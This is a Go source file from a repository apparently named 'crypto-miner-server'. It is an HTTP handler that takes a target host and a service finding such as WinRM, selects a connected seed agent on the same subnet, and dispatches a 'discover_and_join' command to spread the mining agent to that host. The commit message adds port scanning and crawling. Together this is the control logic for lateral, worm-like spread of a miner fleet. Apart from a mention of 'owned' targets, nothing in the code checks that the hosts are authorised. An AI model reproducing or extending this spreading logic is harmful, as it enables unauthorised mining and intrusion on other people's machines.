Files
AetherForge/server/internal/api/fleet_spread_host.go
AetherForge f3e5a9a07d
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
2026-06-07 11:23:10 -07:00

216 lines
5.8 KiB
Go

package api
import (
"encoding/json"
"fmt"
"net/http"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
type spreadToHostRequest struct {
Host string `json:"host"`
Finding string `json:"finding"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
JoinLane string `json:"join_lane"`
}
// POST /api/v1/fleet/spread-to-host
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
var req spreadToHostRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Host = strings.TrimSpace(req.Host)
req.Finding = strings.TrimSpace(req.Finding)
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
req.JoinLane = strings.TrimSpace(req.JoinLane)
if req.Host == "" {
http.Error(w, "host required", http.StatusBadRequest)
return
}
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
if !ok {
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
return
}
if req.JoinLane != "" {
lane.Lane = normalizeJoinLane(req.JoinLane)
}
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
if found && reachable {
writeJSON(w, map[string]interface{}{
"ok": true,
"host": req.Host,
"agent_id": agentID,
"agent_reachable": true,
"join_lane": lane.Lane,
"matched_service": matched,
"queued": false,
"recommended_command": "discover_and_join",
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
})
return
}
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
commandArgs := map[string]interface{}{
"target_host": req.Host,
"join_lane": lane.Lane,
"matched_service": matched,
}
if req.BuildID != "" {
commandArgs["build_id"] = req.BuildID
}
if req.Campaign != "" {
commandArgs["campaign"] = req.Campaign
}
queued := false
var dispatchErr string
if seedOK && f.ws != nil {
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
dispatchErr = err.Error()
} else {
queued = true
}
}
recommended := fmt.Sprintf(
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
firstNonEmptySpread(seedName, seedID, "best online agent"),
req.Host,
lane.Lane,
)
writeJSON(w, map[string]interface{}{
"ok": true,
"host": req.Host,
"finding": req.Finding,
"join_lane": lane.Lane,
"matched_service": matched,
"agent_reachable": false,
"agent_found": found,
"seed_agent_id": seedID,
"seed_agent_name": seedName,
"queued": queued,
"dispatch_error": dispatchErr,
"recommended_command": "discover_and_join",
"command_args": commandArgs,
"operator_note": recommended,
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
})
}
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
if database == nil {
return "", false, false
}
agents, err := database.ListAgents()
if err != nil {
return "", false, false
}
host = strings.TrimSpace(strings.ToLower(host))
var match *models.Agent
for _, ag := range agents {
if ag == nil {
continue
}
ip := strings.TrimSpace(strings.ToLower(ag.IP))
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
if match == nil || ag.Status == "online" {
match = ag
}
}
}
if match == nil {
return "", false, false
}
reachable = match.Status == "online"
if hub != nil {
reachable = hub.isAgentConnected(match.ID)
}
return match.ID, reachable, true
}
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
if hub == nil {
return "", "", false
}
subnet := spreadrouter.SubnetFromIP(targetHost)
if subnet != "" {
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
rt := spreadrouter.Build(in)
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
return rec.SeedAgentID, rec.SeedAgentName, true
}
}
// Fallback: lowest-latency connected agent on same /24.
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
var bestID, bestName string
bestLatency := int(^uint(0) >> 1)
hub.mu.RLock()
for id, conn := range hub.agents {
if conn == nil || hub.db == nil {
continue
}
ag, err := hub.db.GetAgent(id)
if err != nil || ag == nil {
continue
}
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
continue
}
lat := 9999
if ag.LatencyMs != nil {
lat = *ag.LatencyMs
}
if lat < bestLatency {
bestLatency = lat
bestID = id
bestName = ag.Name
}
}
hub.mu.RUnlock()
if bestID != "" {
return bestID, bestName, true
}
// Last resort: any connected agent.
hub.mu.RLock()
for id := range hub.agents {
if hub.agents[id] != nil {
bestID = id
if hub.db != nil {
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
bestName = ag.Name
}
}
break
}
}
hub.mu.RUnlock()
return bestID, bestName, bestID != ""
}
func firstNonEmptySpread(parts ...string) string {
for _, p := range parts {
if strings.TrimSpace(p) != "" {
return p
}
}
return ""
}